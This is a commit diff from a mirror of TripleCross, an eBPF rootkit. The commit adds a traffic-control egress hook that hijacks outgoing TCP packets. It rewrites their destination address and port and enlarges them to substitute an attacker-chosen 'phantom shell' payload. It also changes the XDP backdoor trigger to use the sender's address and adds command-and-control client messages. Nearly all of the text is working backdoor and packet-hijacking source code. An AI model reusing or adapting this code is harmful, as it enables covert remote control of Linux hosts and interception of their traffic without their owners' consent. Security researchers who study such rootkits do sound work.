mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 00:33:07 +08:00
Completed the TC Hook and payload enlargment and substitution mechanisms. Only the packet recognition on the client side remains to work
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -135,6 +135,8 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
|
|||||||
}
|
}
|
||||||
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
|
}else if(strncmp(buf, CC_PROT_ERR, strlen(CC_PROT_ERR))==0){
|
||||||
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
|
printf("[" KRED "ERROR" RESET "]""Backdoor did not understand the request: %s\n", request);
|
||||||
|
}else if(strncmp(buf, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))==0){
|
||||||
|
printf("[" KGRN "INIT" RESET "]""The backdoor just signaled that everything is ready and working!");
|
||||||
}else{
|
}else{
|
||||||
//If at this point, then we failed to identify the backdoor message
|
//If at this point, then we failed to identify the backdoor message
|
||||||
//We attempt to send a final message indicating we are halting the connection
|
//We attempt to send a final message indicating we are halting the connection
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -12,6 +12,7 @@
|
|||||||
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
||||||
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
|
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
|
||||||
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
|
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
|
||||||
|
#define CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT 8000
|
||||||
|
|
||||||
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
|
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
|
||||||
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
|
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ SEC("classifier/egress")
|
|||||||
int classifier_egress(struct __sk_buff *skb){
|
int classifier_egress(struct __sk_buff *skb){
|
||||||
void *data = (void *)(__u64)skb->data;
|
void *data = (void *)(__u64)skb->data;
|
||||||
void *data_end = (void *)(__u64)skb->data_end;
|
void *data_end = (void *)(__u64)skb->data_end;
|
||||||
bpf_printk("TC egress classifier called\n");
|
//bpf_printk("TC egress classifier called\n");
|
||||||
|
|
||||||
//We are interested on parsing TCP/IP packets so let's assume we have one
|
//We are interested on parsing TCP/IP packets so let's assume we have one
|
||||||
//Ethernet header
|
//Ethernet header
|
||||||
@@ -57,12 +57,13 @@ int classifier_egress(struct __sk_buff *skb){
|
|||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
//We now proceed to scan for our backdoor packets
|
//We must avoid tampering with packets directed to 9000, this is just
|
||||||
/*__u16 dest_port = ntohs(tcp->dest);
|
//for testing in lo, since it makes us modify the trigger
|
||||||
if(dest_port != SECRET_PACKET_DEST_PORT){
|
__u16 src_port = ntohs(tcp->source);
|
||||||
|
if(src_port == CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT){
|
||||||
bpf_printk("PORT CHECK\n");
|
bpf_printk("PORT CHECK\n");
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}*/
|
}
|
||||||
|
|
||||||
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
|
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
|
||||||
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
|
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
|
||||||
@@ -89,13 +90,12 @@ int classifier_egress(struct __sk_buff *skb){
|
|||||||
if(ps_data == (void*)0){
|
if(ps_data == (void*)0){
|
||||||
//Phantom shell not active
|
//Phantom shell not active
|
||||||
bpf_printk("Phantom shell NOT active yet\n");
|
bpf_printk("Phantom shell NOT active yet\n");
|
||||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
/*int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||||
if(err<0){
|
if(err<0){
|
||||||
bpf_printk("Fail to update map\n");
|
bpf_printk("Fail to update map\n");
|
||||||
}
|
}*/
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}else if(ps_data->active == 0){
|
||||||
if(ps_data->active == 0){
|
|
||||||
bpf_printk("Phantom shell NOT active right now\n");
|
bpf_printk("Phantom shell NOT active right now\n");
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
@@ -109,42 +109,49 @@ int classifier_egress(struct __sk_buff *skb){
|
|||||||
if(err<0){
|
if(err<0){
|
||||||
bpf_printk("Fail to update map\n");
|
bpf_printk("Fail to update map\n");
|
||||||
}
|
}
|
||||||
bpf_printk("Phantom shell active now, A:%i IP:%i P:%i\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
|
bpf_printk("Phantom shell active now, A:%i IP:%x P:%x\n", ps_data->active, ps_data->d_ip, ps_data->d_port);
|
||||||
|
bpf_printk("Phantom shell param payload: %s\n", ps_data->payload);
|
||||||
__u32 new_ip = ps_data->d_ip;
|
__u32 new_ip = ps_data->d_ip;
|
||||||
__u16 new_port = ps_data->d_port;
|
__u16 new_port = ps_data->d_port;
|
||||||
__u32 offset_ip = offsetof(struct iphdr, saddr)+ sizeof(struct ethhdr);
|
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
|
||||||
__u16 offset_port = offsetof(struct tcphdr, source)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
__u32 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
||||||
|
//bpf_printk("Payload: %s\n", payload);
|
||||||
|
//TODO, adjust the length to the new payload. Verifier complains a lot so we will keep it like this for now
|
||||||
|
__u32 increment_len = sizeof(char)*64;
|
||||||
|
|
||||||
bpf_printk("offset ip: %u\n", offset_ip);
|
bpf_printk("offset ip: %u\n", offset_ip);
|
||||||
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
|
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), 0);
|
||||||
if (ret < 0) {
|
if (ret < 0) {
|
||||||
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
|
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bpf_printk("offset port: %u\n", offset_port);
|
bpf_printk("offset port: %u\n", offset_port);
|
||||||
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM);
|
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), 0);
|
||||||
if (ret < 0) {
|
if (ret < 0) {
|
||||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
//We want to substitute the payload too.
|
ret = bpf_skb_change_tail(skb, skb->len+increment_len, 0);
|
||||||
bpf_printk("Payload: %s\n", payload);
|
|
||||||
if(payload_size>=64){
|
|
||||||
return TC_ACT_OK;
|
|
||||||
}
|
|
||||||
ret = bpf_skb_change_tail(skb, 64-payload_size, 0);
|
|
||||||
if (ret < 0) {
|
if (ret < 0) {
|
||||||
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
|
bpf_printk("Failed to enlarge the packet (via tail): %d\n", ret);
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
ret = bpf_skb_pull_data(skb, 0);
|
||||||
|
if(ret<0){
|
||||||
|
bpf_printk("Failed to pull data\n");
|
||||||
|
}
|
||||||
|
|
||||||
//After changing the packet bounds, all the boundaries must be check again
|
//After changing the packet bounds, all the boundaries must be check again
|
||||||
|
data = (void *)(__u64)skb->data;
|
||||||
|
data_end = (void *)(__u64)skb->data_end;
|
||||||
|
|
||||||
eth = data;
|
eth = data;
|
||||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||||
bpf_printk("ETH\n");
|
bpf_printk("ETH\n");
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
||||||
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
||||||
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
||||||
@@ -155,17 +162,49 @@ int classifier_egress(struct __sk_buff *skb){
|
|||||||
bpf_printk("TCP CHECK\n");
|
bpf_printk("TCP CHECK\n");
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
if(eth == (void*)0 || tcp == (void*)0 || ip == (void*)0){
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||||
payload = data_end - payload_size;
|
payload = data_end - payload_size;
|
||||||
if(payload<(char*)data || payload_size>=sizeof(char)*64){
|
if(payload_size>=sizeof(char)*64){
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
|
if(data>data_end){
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
ret = bpf_skb_store_bytes(skb, payload-(char*)data, ps_data->payload, (sizeof(char)*64)-payload_size, BPF_F_RECOMPUTE_CSUM);
|
__u32 offset = skb->len-payload_size-increment_len;
|
||||||
if (ret < 0) {
|
if(ps_data==(void*)0){
|
||||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
}
|
}
|
||||||
|
if(increment_len>skb->data_end-skb->data){
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
|
if(skb->data_end < skb->data + increment_len){
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
//Simple strlen
|
||||||
|
__u32 payload_char_len = 0;
|
||||||
|
for(int ii=0; ii<64; ii++){
|
||||||
|
if(ps_data->payload[ii]!='\0'){
|
||||||
|
payload_char_len++;
|
||||||
|
}else{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(payload_char_len>=increment_len|| payload_char_len<=0){
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
bpf_printk("New payload offset %i, writing %i bytes\n", offset, payload_char_len);
|
||||||
|
ret = bpf_skb_store_bytes(skb, offset, ps_data->payload, payload_char_len, 0);
|
||||||
|
if (ret < 0) {
|
||||||
|
bpf_printk("Failed to overwrite payload: %d\n", ret);
|
||||||
|
return TC_ACT_OK;
|
||||||
|
}
|
||||||
|
bpf_printk("Finished packet hijacking routine\n");
|
||||||
|
|
||||||
return TC_ACT_OK;
|
return TC_ACT_OK;
|
||||||
|
|
||||||
|
|||||||
@@ -49,7 +49,7 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size){
|
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size, __u32 s_ip, __u16 s_port){
|
||||||
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
char section2[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
char section3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
char section3[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
|
||||||
@@ -166,10 +166,8 @@ backdoor_finish:
|
|||||||
|
|
||||||
//If we reach this point then we received trigger packet
|
//If we reach this point then we received trigger packet
|
||||||
bpf_printk("Finished backdoor V1 check with success\n");
|
bpf_printk("Finished backdoor V1 check with success\n");
|
||||||
__u32 ip;
|
__u32 ip = s_ip;
|
||||||
__u16 port;
|
__u16 port = s_port;
|
||||||
__builtin_memcpy(&ip, payload+0x01, sizeof(__u32));
|
|
||||||
__builtin_memcpy(&port, payload+0x05, sizeof(__u16));
|
|
||||||
|
|
||||||
execute_key_command(command_received, ip, port);
|
execute_key_command(command_received, ip, port);
|
||||||
|
|
||||||
|
|||||||
@@ -104,7 +104,7 @@ int xdp_receive(struct xdp_md *ctx){
|
|||||||
bpf_printk("G");
|
bpf_printk("G");
|
||||||
return XDP_PASS;
|
return XDP_PASS;
|
||||||
}
|
}
|
||||||
return manage_backdoor_trigger_v1(payload, payload_size);
|
return manage_backdoor_trigger_v1(payload, payload_size, ip->saddr, tcp->source);
|
||||||
}
|
}
|
||||||
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
|
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
|
||||||
if(tcp->syn == 1){
|
if(tcp->syn == 1){
|
||||||
|
|||||||
@@ -149,7 +149,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
|||||||
data.d_ip = e->bps_data.d_ip;
|
data.d_ip = e->bps_data.d_ip;
|
||||||
data.d_port = e->bps_data.d_port;
|
data.d_port = e->bps_data.d_port;
|
||||||
memcpy(data.payload, e->bps_data.payload, 64);
|
memcpy(data.payload, e->bps_data.payload, 64);
|
||||||
printf("Post value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
|
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
||||||
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
||||||
}else{
|
}else{
|
||||||
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
||||||
|
|||||||
Reference in New Issue
Block a user